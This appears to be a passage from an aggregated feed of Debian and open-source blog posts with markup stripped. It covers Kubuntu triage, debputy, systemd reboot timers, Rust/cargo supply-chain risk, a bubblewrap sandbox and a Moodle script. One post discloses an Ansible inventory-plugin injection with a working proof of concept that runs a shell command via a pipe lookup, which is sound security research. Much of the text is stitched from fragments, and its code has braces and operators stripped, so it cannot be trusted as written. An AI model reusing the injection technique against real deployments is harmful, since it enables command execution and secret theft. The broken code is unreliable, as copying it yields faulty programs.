Work report Kubuntu: Bug bashing! I am triaging allthebugs for Plasma which can be seen here: https://bugs.launchpad.net/plasma-5.27/+bug/2053125 I am happy to report many of the remaining bugs have been fixed in the latest bug fix release 5.27.11. I prepared https://kde.org/announcements/plasma/5/5.27.11/ and Rik uploaded to archive, thank you. Unfortunately, this and several other key fixes are stuck in transition do to the time_t64 transition, which you can read about here: https://wiki.debian.org/ReleaseGoals/64bit-time . It is the biggest transition in Debian/Ubuntu history and it couldn t come at a worst time. We are aware our ISO installer is currently broken, calamares is one of those things stuck in this transition. There is a workaround in the comments of the bug report: https://bugs.launchpad.net/ubuntu/+source/calamares/+bug/2054795 Fixed an issue with plasma-welcome. Found the fix for emojis and Aaron has kindly moved this forward with the fontconfig maintainer. Thanks! I have received an https://kfocus.org/spec/spec-ir14.html laptop and it is truly a great machine and is now my daily driver. A big thank you to the Kfocus team! I can t wait to show it off at https://linuxfestnorthwest.org/. KDE Snaps: You will see the activity in this ramp back up as the KDEneon Core project is finally a go! I will participate in the project with part time status and get everyone in the Enokia team up to speed with my snap knowledge, help prepare the qt6/kf6 transition, package plasma, and most importantly I will focus on documentation for future contributors. I have created the ( now split ) qt6 with KDE patchset support and KDE frameworks 6 SDK and runtime snaps. I have made the kde-neon-6 extension and the PR is in: https://github.com/canonical/snapcraft/pull/4698 . Future work on the extension will include multiple versions track support and core24 support. I have successfully created our first qt6/kf6 snap ark. They will show showing up in the store once all the required bits have been merged and published. Thank you for stopping by. ~Scarlett
Most of the effort has been spent on the Deb822 based files such as debian/control, which comes with diagnostics, quickfixes, spellchecking (but only for relevant fields!), and completion suggestions. Since not everyone has a LSP capable editor and because sometimes you just want diagnostics without having to open each file in an editor, there is also a batch version for the diagnostics via debputy lint. Please see debputy(1) for how debputy lint compares with lintian if you are curious about which tool to use at what time. To help you getting started, there is a now debputy lsp editor-config command that can provide you with the relevant editor config glue. At the moment, emacs (via eglot) and vim with vim-youcompleteme are supported. For those that followed the previous blog posts on writing the language server, I would like to point out that the command line for running the language server has changed to debputy lsp server and you no longer have to tell which format it is. I have decided to make the language server a "polyglot" server for now, which I will hopefully not regret... Time will tell. :) Anyhow, to get started, you will want:
- debian/control
- debian/copyright (the machine readable variant)
- debian/changelog (mostly just spelling)
- debian/rules
- debian/debputy.manifest (syntax checks only; use debputy check-manifest for the full validation for now)
$ apt satisfy 'dh-debputy (>= 0.1.21~), python3-pygls'
# Optionally, for spellchecking
$ apt install python3-hunspell hunspell-en-us
# For emacs integration
$ apt install elpa-dpkg-dev-el markdown-mode-el
# For vim integration via vim-youcompleteme
$ apt install vim-youcompleteme
The installations feature of the manifest will be disabled in this integration mode to avoid feature interactions with debhelper tools that expect debian/<pkg> to contain the materialized package. On a related note, the debputy migrate-from-dh command now supports a --migration-target option, so you can choose the desired level of integration without doing code changes. The command will attempt to auto-detect the desired integration from existing package features such as a build-dependency on a relevant dh sequence, so you do not have to remember this new option every time once the migration has started. :)
- dh_fixperms
- dh_gencontrol
- dh_md5sums
- dh_builddeb
In addition to the problem of state, installing regular updates periodically requires a reboot, even if the rest of the process is automated through a tool like unattended-upgrades. For my personal homelab, I manage a handful of different machines running various services. I used to just schedule a day to update and reboot all of them, but that got very tedious very quickly. I then moved the reboot to a cronjob, and then recently to a systemd timer and service. I figure that laying out my path to better management of this might help others, and will almost certainly lead to someone telling me a better way to do this. UPDATE: Turns out there s another option for better systemd cron integration. SeeYou: uptime
Me: Every machine gets rebooted at 1AM to clear the slate for maintenance, and at 3:30AM to push through any pending updates. @SwiftOnSecurity, December 27, 2020
systemd-cron
below.
Ultimately, uptime only measures the duration since you last proved you can turn the machine on and have it boot. @SwiftOnSecurity, May 7, 2016
/var/spool/cron/crontabs/root
1
is enough to get your machine to reboot once a month2 on the 6th at 8:00 AM3:
0 8 6 * * reboot
regular-reboot.timer
with the following contents:
[Unit]
Description=Reboot on a Regular Basis
[Timer]
Unit=regular-reboot.service
OnBootSec=1month
[Install]
WantedBy=timers.target
regular-reboot.service
systemd unit
when the system reaches one month of uptime.
I ve seen some guides to creating timer units recommend adding
a Wants=regular-reboot.service
to the [Unit]
section,
but this has the consequence of running that service every time it starts the
timer. In this case that will just reboot your system on startup which is
not what you want.
Care needs to be taken to use the OnBootSec
directive instead of
OnCalendar
or any of the other time specifications, as your system could
reboot, discover its still within the expected window and reboot again.
With OnBootSec
your system will not have that problem.
Technically, this same problem could have occurred with the cronjob approach,
but in practice it never did, as the systems took long enough to come back
up that they were no longer within the expected window for the job.
I then added the regular-reboot.service
:
[Unit]
Description=Reboot on a Regular Basis
Wants=regular-reboot.timer
[Service]
Type=oneshot
ExecStart=shutdown -r 02:45
OnBootSec
.
This way different systems have different reboot times so that everything
doesn t just reboot and fail all at once. Were something to fail to come
back up I would have some time to fix it, as each machine has a few hours
between scheduled reboots.
One you have both files in place, you ll simply need to reload configuration
and then enable and start the timer unit:
systemctl daemon-reload
systemctl enable --now regular-reboot.timer
# systemctl status regular-reboot.timer
regular-reboot.timer - Reboot on a Regular Basis
Loaded: loaded (/etc/systemd/system/regular-reboot.timer; enabled; preset: enabled)
Active: active (waiting) since Wed 2024-03-13 01:54:52 EDT; 1 week 4 days ago
Trigger: Fri 2024-04-12 12:24:42 EDT; 2 weeks 4 days left
Triggers: regular-reboot.service
Mar 13 01:54:52 dorfl systemd[1]: Started regular-reboot.timer - Reboot on a Regular Basis.
prometheus-node-exporter
. There are plenty of ways to hack in cron support
to the node exporter, but just moving to systemd units provides both
support for tracking failure and logging,
both of which make system administration much easier when things inevitably
go wrong.
systemd-cron
An alternative to converting everything by hand, if you happen to have
a lot of cronjobs is
systemd-cron
.
It will make each crontab and /etc/cron.*
directory into automatic
service and timer units.
Thanks to Alexandre Detiste for letting me know about this project.
I have few enough cron jobs that I ve already converted, but
for anyone looking at a large number of jobs to convert
you ll want to check it out!
prometheus-alertmanager
rules:
- alert: UptimeTooHigh
expr: (time() - node_boot_time_seconds job="node" ) / 86400 > 35
annotations:
summary: "Instance Has Been Up Too Long!"
description: "Instance Has Been Up Too Long!"
/etc/crontab
or drop a script into /etc/cron.monthly
depending on your system.
261
. This version includes the following changes:
[ Chris Lamb ]
* Don't crash if we encounter an .rdb file without an equivalent .rdx file.
(Closes: #1066991)
* In addition, don't identify Redis database dumps (etc.) as GNU R database
files based simply on their filename. (Re: #1066991)
* Update copyright years.
apt install rustc cargo
. Either do that and make sure to use only Rust libraries from your distro (with the tiresome config runes below); or, just use rustup.
curl bash
curl bash
bullet
apt install rustc cargo
, you will end up using Debian s compiler but upstream libraries, directly and uncurated from crates.io.
This is not what you want. There are about two reasonable things to do, depending on your preferences.
Q. Download and run whatever code from the internet?
The key question is this:
Are you comfortable downloading code, directly from hundreds of upstream Rust package maintainers, and running it ?
That s what cargo
does. It s one of the main things it s for. Debian s cargo
behaves, in this respect, just like upstream s. Let me say that again:
Debian s cargo promiscuously downloads code from crates.io just like upstream cargo.
So if you use Debian s cargo in the most obvious way, you are still downloading and running all those random libraries. The only thing you re avoiding downloading is the Rust compiler itself, which is precisely the part that is most carefully maintained, and of least concern.
Debian s cargo can even download from crates.io when you re building official Debian source packages written in Rust: if you run dpkg-buildpackage
, the downloading is suppressed; but a plain cargo build
will try to obtain and use dependencies from the upstream ecosystem. ( Happily , if you do this, it s quite likely to bail out early due to version mismatches, before actually downloading anything.)
Option 1: WTF, no I don t want curl bash
OK, but then you must limit yourself to libraries available within Debian. Each Debian release provides a curated set. It may or may not be sufficient for your needs. Many capable programs can be written using the packages in Debian.
But any upstream Rust project that you encounter is likely to be a pain to get working, unless their maintainers specifically intend to support this. (This is fairly rare, and the Rust tooling doesn t make it easy.)
To go with this plan, apt install rustc cargo
and put this in your configuration, in $HOME/.cargo/config.toml
:
[source.debian-packages]
directory = "/usr/share/cargo/registry"
[source.crates-io]
replace-with = "debian-packages"
This causes cargo to look in /usr/share
for dependencies, rather than downloading them from crates.io. You must then install the librust-FOO-dev
packages for each of your dependencies, with apt
.
This will allow you to write your own program in Rust, and build it using cargo build
.
Option 2: Biting the curl bash
bullet
If you want to build software that isn t specifically targeted at Debian s Rust you will probably need to use packages from crates.io, not from Debian.
If you re doing to do that, there is little point not using rustup to get the latest compiler. rustup s install rune is alarming, but cargo will be doing exactly the same kind of thing, only worse (because it trusts many more people) and more hidden.
So in this case: do run the curl bash
install rune.
Hopefully the Rust project you are trying to build have shipped a Cargo.lock
; that contains hashes of all the dependencies that they last used and tested. If you run cargo build --locked
, cargo will only use those versions, which are hopefully OK.
And you can run cargo audit
to see if there are any reported vulnerabilities or problems. But you ll have to bootstrap this with cargo install --locked cargo-audit
; cargo-audit is from the RUSTSEC folks who do care about these kind of things, so hopefully running their code (and their dependencies) is fine. Note the --locked
which is needed because cargo s default behaviour is wrong.
Privilege separation
This approach is rather alarming. For my personal use, I wrote a privsep tool which allows me to run all this upstream Rust code as a separate user.
That tool is nailing-cargo. It s not particularly well productised, or tested, but it does work for at least one person besides me. You may wish to try it out, or consider alternative arrangements. Bug reports and patches welcome.
OMG what a mess
Indeed. There are large number of technical and social factors at play.
cargo itself is deeply troubling, both in principle, and in detail. I often find myself severely disappointed with its maintainers decisions. In mitigation, much of the wider Rust upstream community does takes this kind of thing very seriously, and often makes good choices. RUSTSEC is one of the results.
Debian s technical arrangements for Rust packaging are quite dysfunctional, too: IMO the scheme is based on fundamentally wrong design principles. But, the Debian Rust packaging team is dynamic, constantly working the update treadmills; and the team is generally welcoming and helpful.
Sadly last time I explored the possibility, the Debian Rust Team didn t have the appetite for more fundamental changes to the workflow (including, for example, changes to dependency version handling). Significant improvements to upstream cargo s approach seem unlikely, too; we can only hope that eventually someone might manage to supplant it.
edited 2024-03-21 21:49 to add a cut tagincoming()
(now along with
an alias ciw()
) which summarises the state of the incoming
directories at CRAN. I happen
to like having these things at my (shell) fingertips, so it goes along
with (still draft) wrapper
ciw.r that will be part of the next littler release.
For example, when I do this right now as I type this, I see
(typically less than one second later)
edd@rob:~$ ciw.r
Folder Name Time Size Age
<char> <char> <POSc> <char> <difftime>
1: pretest instantiate_0.2.2.tar.gz 2024-03-20 13:29:00 17K 0.07 hours
2: recheck tinytable_0.2.0.tar.gz 2024-03-20 12:50:00 565K 0.72 hours
3: pending Matrix_1.7-0.tar.gz 2024-03-20 12:05:00 2.3M 1.47 hours
4: recheck survey_4.4-2.tar.gz 2024-03-20 02:02:00 2.2M 11.52 hours
5: waiting equateIRT_2.4.0.tar.gz 2024-03-19 17:00:00 895K 20.55 hours
6: pending ravetools_0.1.5.tar.gz 2024-03-19 12:06:00 1.0M 25.45 hours
7: waiting glmmTMB_1.1.9.tar.gz 2024-03-18 16:04:00 4.2M 45.48 hours
edd@rob:~$
ciw.r --help
or ciw.r --usage
for more.
Alternatively, in your R session, you can call
ciw::incoming()
(or now ciw::ciw()
) for the
same result (and/or load the package first).
This release adds some packaging touches, brings the new alias
ciw()
as well as a state variable with all (known) folder
names and some internal improvements for dealing with error conditions.
The NEWS entry follows.
Courtesy of my CRANberries, there is also a diffstat report for this release. If you like this or other open-source work I do, you can sponsor me at GitHub.Changes in version 0.0.2 (2024-03-20)
- The package README and DESCRIPTION have been expanded
- An alias
ciw
can now be used forincoming
- Network error handling is now more robist
- A state variable
known_folders
lists all CRAN folders belowincoming
This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.
remote: fatal: pack exceeds maximum allowed size (4.88 GiB)
however breaking up the commit into smaller commits for parts of the archive made it possible to push the entire archive. Here are the commands to create this repository:
git init
git lfs install
git lfs track 'dists/**' 'pool/**'
git add .gitattributes
git commit -m"Add Git-LFS track attributes." .gitattributes
time debmirror --method=rsync --host ftp.se.debian.org --root :debian --arch=amd64 --source --dist=bookworm,bookworm-updates --section=main --verbose --diff=none --keyring /usr/share/keyrings/debian-archive-keyring.gpg --ignore .git .
git add dists project
git commit -m"Add." -a
git remote add origin git@gitlab.com:debdistutils/archives/debian/mirror.git
git push --set-upstream origin --all
for d in pool//; do
echo $d;
time git add $d;
git commit -m"Add $d." -a
git push
done
The resulting repository size is around 27MB with Git LFS object storage around 174GB. I think this approach would scale to handle all architectures for one release, but working with a single git repository for all releases for all architectures may lead to a too large git repository (>1GB). So maybe one repository per release? These repositories could also be split up on a subset of pool/ files, or there could be one repository per release per architecture or sources.
Finally, I have concerns about using SHA1 for identifying objects. It seems both Git and Debian s snapshot service is currently using SHA1. For Git there is SHA-256 transition and it seems GitLab is working on support for SHA256-based repositories. For serious long-term deployment of these concepts, it would be nice to go for SHA256 identifiers directly. Git-LFS already uses SHA256 but Git internally uses SHA1 as does the Debian snapshot service.
What do you think? Happy Hacking!
incoming()
which summarises the state of the incoming
directories at CRAN. I happen
to like having these things at my (shell) fingertips, so it goes along
with (still draft) wrapper
ciw.r that will be part of the next littler release.
For example, when I do this right now as I type this, I see
edd@rob:~$ ciw.r
Folder Name Time Size Age
<char> <char> <POSc> <char> <difftime>
1: waiting maximin_1.0-5.tar.gz 2024-03-13 22:22:00 20K 2.48 hours
2: inspect GofCens_0.97.tar.gz 2024-03-13 21:12:00 29K 3.65 hours
3: inspect verbalisr_0.5.2.tar.gz 2024-03-13 20:09:00 79K 4.70 hours
4: waiting rnames_1.0.1.tar.gz 2024-03-12 15:04:00 2.7K 33.78 hours
5: waiting PCMBase_1.2.14.tar.gz 2024-03-10 12:32:00 406K 84.32 hours
6: pending MPCR_1.1.tar.gz 2024-02-22 11:07:00 903K 493.73 hours
edd@rob:~$
r
. Good enough for me. From a well-connected EC2 instance
it is about 800ms on the command-line. When I do I from here inside an R
session it is maybe 700ms. And doing it over in Europe is faster still.
(I am using ping=FALSE
for these to omit the default sanity
check of can I haz networking? to speed things up. The check adds
another 200ms or so.)
The function (and the wrapper) offer a ton of options too this is
ridiculously easy to do thanks to the docopt
package:
edd@rob:~$ ciw.r -x
Usage: ciw.r [-h] [-x] [-a] [-m] [-i] [-t] [-p] [-w] [-r] [-s] [-n] [-u] [-l rows] [-z] [ARG...]
-m --mega use 'mega' mode of all folders (see --usage)
-i --inspect visit 'inspect' folder
-t --pretest visit 'pretest' folder
-p --pending visit 'pending' folder
-w --waiting visit 'waiting' folder
-r --recheck visit 'waiting' folder
-a --archive visit 'archive' folder
-n --newbies visit 'newbies' folder
-u --publish visit 'publish' folder
-s --skipsort skip sorting of aggregate results by age
-l --lines rows print top 'rows' of the result object [default: 50]
-z --ping run the connectivity check first
-h --help show this help text
-x --usage show help and short example usage
where ARG... can be one or more file name, or directories or package names.
Examples:
ciw.r -ip # run in 'inspect' and 'pending' mode
ciw.r -a # run with mode 'auto' resolved in incoming()
ciw.r # run with defaults, same as '-itpwr'
When no argument is given, 'auto' is selected which corresponds to 'inspect', 'waiting',
'pending', 'pretest', and 'recheck'. Selecting '-m' or '--mega' are select as default.
Folder selecting arguments are cumulative; but 'mega' is a single selections of all folders
(i.e. 'inspect', 'waiting', 'pending', 'pretest', 'recheck', 'archive', 'newbies', 'publish').
ciw.r is part of littler which brings 'r' to the command-line.
See https://dirk.eddelbuettel.com/code/littler.html for more information.
edd@rob:~$
This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.
debootstrap
is mostly converted and the patches for glibc
and base-files
have been refined due to feedback from the upload to Ubuntu noble. Beyond this,
he sent patches for all remaining packages that cannot move their files with
dh-sequence-movetousr
and packages using dpkg-divert
in ways that dumat
would not recognize.
unshare
chroot mode. However, after discussion with josch, jochensp and helmut (thanks
to them!), it turns out that the unshare mode is not the most suitable for the
pipeline, since the level of isolation it provides is not needed, and some test
suites would fail (eg: krb5). Additionally, one of the requirements of the
build job is the use of ccache, since it is needed by some C/C++ large projects
to reduce the compilation time. In the preliminary work with unshare last
month, it was not possible to make ccache to work.
Finally, Santiago changed the chroot mode, and now has a couple of POC (cf:
1
and 2)
that rely on the schroot
and sudo
, respectively. And the good news is that
ccache is successfully used by sbuild with schroot!
The image here comes from an example of building grep
. At the end of the
build, ccache -s
shows the statistics of the cache that it used, and so a
little more than half of the calls of that job were cacheable. The most
important pieces are in place to finish the integration of sbuild into the
pipeline.
Other than that, Santiago also reviewed the very useful
merge request !346,
made by IOhannes zm lnig to autodetect the release from debian/changelog. As
agreed with IOhannes, Santiago is preparing a merge request to include the
release autodetection use case in the very own Salsa CI s CI.
Phone | RAM | External Display | Price |
---|---|---|---|
Edge 20 Pro [5] | 6-12G | HDMI | $500 not many on sale |
Edge S aka moto G100 [6] | 6-8G | HDMI | $500 to $600+ |
Fairphone 4 | 6-8G | USBC-DP | $1000+ |
Nubia Red Magic 5G | 8-16G | USBC-DP | $600+ |
Phone | RAM | Price | Issues |
---|---|---|---|
Note 9 128G/512G | 6G/8G | <$300 | Not supporting external display |
Galaxy S9+ | 6G | <$300 | Not supporting external display |
Xperia 5 | 6G | >$300 | Hotspot partly working |
OnePlus 3T | 6G | $200 $400+ | photos not working |
cabal install
, or a fun VSCode extension gets updated, or anything like that, I am running code that could be malicious or buggy.
In a way it is surprising and reassuring that, as far as I can tell, this commonly does not happen. Most open source developers out there seem to be nice and well-meaning, after all.
git push
, git pull
from private repositories, gh pr create
) from the outside , and the actual build environment can do without access to these secrets.
The user experience I thus want is a quick way to enter a development environment where I can do most of the things I need to do while programming (network access, running command line and GUI programs), with access to the current project, but without access to my actual /home
directory.
I initially followed the blog post Application Isolation using NixOS Containers by Marcin Sucharski and got something working that mostly did what I wanted, but then a colleague pointed out that tools like firejail
can achieve roughly the same with a less global setup. I tried to use firejail
, but found it to be a bit too inflexible for my particular whims, so I ended up writing a small wrapper around the lower level sandboxing tool https://github.com/containers/bubblewrap.
dev
and included below, builds a new filesystem namespace with minimal /proc
and /dev
directories, it s own /tmp
directories. It then binds-mound some directories to make the host s NixOS system available inside the container (/bin
, /usr
, the nix store including domain socket, stuff for OpenGL applications). My user s home directory is taken from ~/.dev-home
and some configuration files are bind-mounted for convenient sharing. I intentionally don t share most of the configuration for example, a direnv enable
in the dev environment should not affect the main environment. The X11 socket for graphical applications and the corresponding .Xauthority
file is made available. And finally, if I run dev
in a project directory, this project directory is bind mounted writable, and the current working directory is preserved.
The effect is that I can type dev
on the command line to enter dev mode rather conveniently. I can run development tools, including graphical ones like VSCode, and especially the latter with its extensions is part of the sandbox. To do a git push
I either exit the development environment (Ctrl-D) or open a separate terminal. Overall, the inconvenience of switching back and forth seems worth the extra protection.
Clearly, isn t going to hold against a determined and maybe targeted attacker (e.g. access to the X11 and the nix daemon socket can probably be used to escape easily). But I hope it will help against a compromised dev dependency that just deletes or exfiltrates data, like keys or passwords, from the usual places in $HOME
.
xdg-desktop-portal
to heed my default browser settings ). For now I will live with manually copying and pasting URLs, we ll see how long this lasts.evolution
or firefox
inside the container, and if I do not even have VSCode or cabal
available outside, so that it s less likely that I forget to enter dev
before using these tools.
It shouldn t be too hard to cargo-cult some of the NixOS Containers infrastructure to be able to have a separate system configuration that I can manage as part of my normal system configuration and make available to bubblewrap
here.dev
and going back to what I did before
dev
script (at the time of writing)
#!/usr/bin/env bash
extra=()
if [[ "$PWD" == /home/jojo/build/* ]] [[ "$PWD" == /home/jojo/projekte/programming/* ]]
then
extra+=(--bind "$PWD" "$PWD" --chdir "$PWD")
fi
if [ -n "$1" ]
then
cmd=( "$@" )
else
cmd=( bash )
fi
# Caveats:
# * access to all of /etc
# * access to /nix/var/nix/daemon-socket/socket , and is trusted user (but needed to run nix)
# * access to X11
exec bwrap \
--unshare-all \
\
# blank slate \
--share-net \
--proc /proc \
--dev /dev \
--tmpfs /tmp \
--tmpfs /run/user/1000 \
\
# Needed for GLX applications, in paticular alacritty \
--dev-bind /dev/dri /dev/dri \
--ro-bind /sys/dev/char /sys/dev/char \
--ro-bind /sys/devices/pci0000:00 /sys/devices/pci0000:00 \
--ro-bind /run/opengl-driver /run/opengl-driver \
\
--ro-bind /bin /bin \
--ro-bind /usr /usr \
--ro-bind /run/current-system /run/current-system \
--ro-bind /nix /nix \
--ro-bind /etc /etc \
--ro-bind /run/systemd/resolve/stub-resolv.conf /run/systemd/resolve/stub-resolv.conf \
\
--bind ~/.dev-home /home/jojo \
--ro-bind ~/.config/alacritty ~/.config/alacritty \
--ro-bind ~/.config/nvim ~/.config/nvim \
--ro-bind ~/.local/share/nvim ~/.local/share/nvim \
--ro-bind ~/.bin ~/.bin \
\
--bind /tmp/.X11-unix/X0 /tmp/.X11-unix/X0 \
--bind ~/.Xauthority ~/.Xauthority \
--setenv DISPLAY :0 \
\
--setenv container dev \
"$ extra[@] " \
-- \
"$ cmd[@] "
pipe
lookup, it might get executed in your shell.
Let that sink in for a moment, and then we'll look at an example.
Example inventory plugin
from ansible.plugins.inventory import BaseInventoryPlugin class InventoryModule(BaseInventoryPlugin): NAME = 'evgeni.inventoryrce.inventory' def verify_file(self, path): valid = False if super(InventoryModule, self).verify_file(path): if path.endswith('evgeni.yml'): valid = True return valid def parse(self, inventory, loader, path, cache=True): super(InventoryModule, self).parse(inventory, loader, path, cache) self.inventory.add_host('exploit.example.com') self.inventory.set_variable('exploit.example.com', 'ansible_connection', 'local') self.inventory.set_variable('exploit.example.com', 'something_funny', ' lookup("pipe", "touch /tmp/hacked" ) ')
evgeni.inventoryrce.inventory
evgeni.yml
(we'll need that to trigger the use of this inventory later)exploit.example.com
with local
connection type and something_funny
variable to the inventory~/.ansible/collections/ansible_collections/evgeni/inventoryrce/plugins/inventory/inventory.py
(or wherever your Ansible loads its collections from).
And we create a configuration file.
As there is nothing to configure, it can be empty and only needs to have the right filename: touch inventory.evgeni.yml
is all you need.
If we now call ansible-inventory
, we'll see our host and our variable present:
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-inventory -i inventory.evgeni.yml --list "_meta": "hostvars": "exploit.example.com": "ansible_connection": "local", "something_funny": " lookup(\"pipe\", \"touch /tmp/hacked\" ) " , "all": "children": [ "ungrouped" ] , "ungrouped": "hosts": [ "exploit.example.com" ]
ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory
is required to allow the use of our inventory plugin, as it's not in the default list.)
So far, nothing dangerous has happened.
The inventory got generated, the host is present, the funny variable is set, but it's still only a string.
Executing a playbook, interpreting Jinja
To execute the code we'd need to use the variable in a context where Jinja is used.
This could be a template where you actually use this variable, like a report where you print the comment the creator has added to a VM.
Or a debug
task where you dump all variables of a host to analyze what's set.
Let's use that!
- hosts: all tasks: - name: Display all variables/facts known for a host ansible.builtin.debug: var: hostvars[inventory_hostname]
debug
.
No mention of our funny variable.
Yet, when we execute it, we see:
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml PLAY [all] ************************************************************************************************ TASK [Gathering Facts] ************************************************************************************ ok: [exploit.example.com] TASK [Display all variables/facts known for a host] ******************************************************* ok: [exploit.example.com] => "hostvars[inventory_hostname]": "ansible_all_ipv4_addresses": [ "192.168.122.1" ], "something_funny": "" PLAY RECAP ************************************************************************************************* exploit.example.com : ok=2 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
something_funny
is an empty string?
Jinja got executed, and the expression was lookup("pipe", "touch /tmp/hacked" )
and touch
does not return anything.
But it did create the file!
% ls -alh /tmp/hacked -rw-r--r--. 1 evgeni evgeni 0 Mar 10 17:18 /tmp/hacked
lookup
is executed.
It could also have used the url
lookup to send the contents of your Ansible vault to some internet host.
Or connect to some VPN-secured system that should not be reachable from EC2/Hetzner/ .
Why is this possible?
This happens because set_variable(entity, varname, value)
doesn't mark the values as unsafe and Ansible processes everything with Jinja in it.
In this very specific example, a possible fix would be to explicitly wrap the string in AnsibleUnsafeText
by using wrap_var
:
from ansible.utils.unsafe_proxy import wrap_var self.inventory.set_variable('exploit.example.com', 'something_funny', wrap_var(' lookup("pipe", "touch /tmp/hacked" ) '))
debug
:
"something_funny": " lookup(\"pipe\", \"touch /tmp/hacked\" ) "
for k, v in host_vars.items(): self.inventory.set_variable(name, k, v)
for key, value in hostvars.items(): self.inventory.set_variable(hostname, key, value)
for k, v in hostvars.items(): try: self.inventory.set_variable(host_name, k, v) except ValueError as e: self.display.warning("Could not set host info hostvar for %s, skipping %s: %s" % (host, k, to_text(e)))
set_variable
doesn't allow you to tag data as "safe" or "unsafe" easily and data in Ansible defaults to "safe".
Can something similar happen in other parts of Ansible?
It certainly happened in the past that Jinja was abused in Ansible: CVE-2016-9587, CVE-2017-7466, CVE-2017-7481
But even if we only look at inventories, add_host(host)
can be abused in a similar way:
from ansible.plugins.inventory import BaseInventoryPlugin class InventoryModule(BaseInventoryPlugin): NAME = 'evgeni.inventoryrce.inventory' def verify_file(self, path): valid = False if super(InventoryModule, self).verify_file(path): if path.endswith('evgeni.yml'): valid = True return valid def parse(self, inventory, loader, path, cache=True): super(InventoryModule, self).parse(inventory, loader, path, cache) self.inventory.add_host('lol lookup("pipe", "touch /tmp/hacked-host" ) ')
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml PLAY [all] ************************************************************************************************ TASK [Gathering Facts] ************************************************************************************ fatal: [lol lookup("pipe", "touch /tmp/hacked-host" ) ]: UNREACHABLE! => "changed": false, "msg": "Failed to connect to the host via ssh: ssh: Could not resolve hostname lol: No address associated with hostname", "unreachable": true PLAY RECAP ************************************************************************************************ lol lookup("pipe", "touch /tmp/hacked-host" ) : ok=0 changed=0 unreachable=1 failed=0 skipped=0 rescued=0 ignored=0 % ls -alh /tmp/hacked-host -rw-r--r--. 1 evgeni evgeni 0 Mar 13 08:44 /tmp/hacked-host
?
operator kind-of-looks-like
being in do
blocks, but only and only for Option and Result,
sadly.assert_cmd
, is
excellent to describe testing/assertion in Rust itself, rather than
via a separate, new DSL, like I was using shelltest
for, in Haskell.
To some extent, I feel like I found the missing arrow in the
quiver. Haskell is good, quite very good for some type of workloads,
but of course not all, and Rust complements that very nicely, with
lots of overlap (as expected). Python can fill in any quick-and-dirty
scripting needed. And I just need to learn more frontend, specifically
Typescript (the language, not referring to any specific
libraries/frameworks), and I ll be ready for AI to take over coding
So, for now, I ll need to split my free time coding between all of the
above, and keep exercising my skills. But so glad to have found a
good new language!
Assignment FooBar/ Student A_21100_assignsubmission_file graded paper.pdf Student A's perfectly named assignment.pdf Student A's perfectly named assignment.xopp Student B_21094_assignsubmission_file graded paper.pdf Student B's perfectly named assignment.pdf Student B's perfectly named assignment.xopp Student C_21093_assignsubmission_file graded paper.pdf Student C's perfectly named assignment.pdf Student C's perfectly named assignment.xoppBefore I can upload files back to Moodle, this directory needs to be copied (I have to keep the original files), cleaned of everything but the
graded
paper.pdf
files and compressed in a ZIP.
You can see how this can quickly get tedious to do by hand. Not being a
complete tool, I often resorted to crafting a few spurious shell one-liners
each time I had to do this1. Eventually I got tired of ctrl-R
-ing my
shell history and wrote something reusable.
Behold this script! When I began writing this post, I was certain I had cheaped
out on my 2021 New Year's resolution and written it in Shell, but glory!, it
seems I used a proper scripting language instead.
#!/usr/bin/python3
# Copyright (C) 2023, Louis-Philippe V ronneau <pollo@debian.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
This script aims to take a directory containing PDF files exported via the
Moodle mass download function, remove everything but the final files to submit
back to the students and zip it back.
usage: ./moodle-zip.py <target_dir>
"""
import os
import shutil
import sys
import tempfile
from fnmatch import fnmatch
def sanity(directory):
"""Run sanity checks before doing anything else"""
base_directory = os.path.basename(os.path.normpath(directory))
if not os.path.isdir(directory):
sys.exit(f"Target directory directory is not a valid directory")
if os.path.exists(f"/tmp/ base_directory .zip"):
sys.exit(f"Final ZIP file path '/tmp/ base_directory .zip' already exists")
for root, dirnames, _ in os.walk(directory):
for dirname in dirnames:
corrige_present = False
for file in os.listdir(os.path.join(root, dirname)):
if fnmatch(file, 'graded paper.pdf'):
corrige_present = True
if corrige_present is False:
sys.exit(f"Directory dirname does not contain a 'graded paper.pdf' file")
def clean(directory):
"""Remove superfluous files, to keep only the graded PDF"""
with tempfile.TemporaryDirectory() as tmp_dir:
shutil.copytree(directory, tmp_dir, dirs_exist_ok=True)
for root, _, filenames in os.walk(tmp_dir):
for file in filenames:
if not fnmatch(file, 'graded paper.pdf'):
os.remove(os.path.join(root, file))
compress(tmp_dir, directory)
def compress(directory, target_dir):
"""Compress directory into a ZIP file and save it to the target dir"""
target_dir = os.path.basename(os.path.normpath(target_dir))
shutil.make_archive(f"/tmp/ target_dir ", 'zip', directory)
print(f"Final ZIP file has been saved to '/tmp/ target_dir .zip'")
def main():
"""Main function"""
target_dir = sys.argv[1]
sanity(target_dir)
clean(target_dir)
if __name__ == "__main__":
main()
graded paper.pdf
files, deleting all .pdf
and .xopp
files using find
and changing
graded paper.foobar
back to a PDF. Some clever regex or learning awk
from the ground up could've probably done the job as well, but you know,
that would have required using my brain and spending spoons...
Next.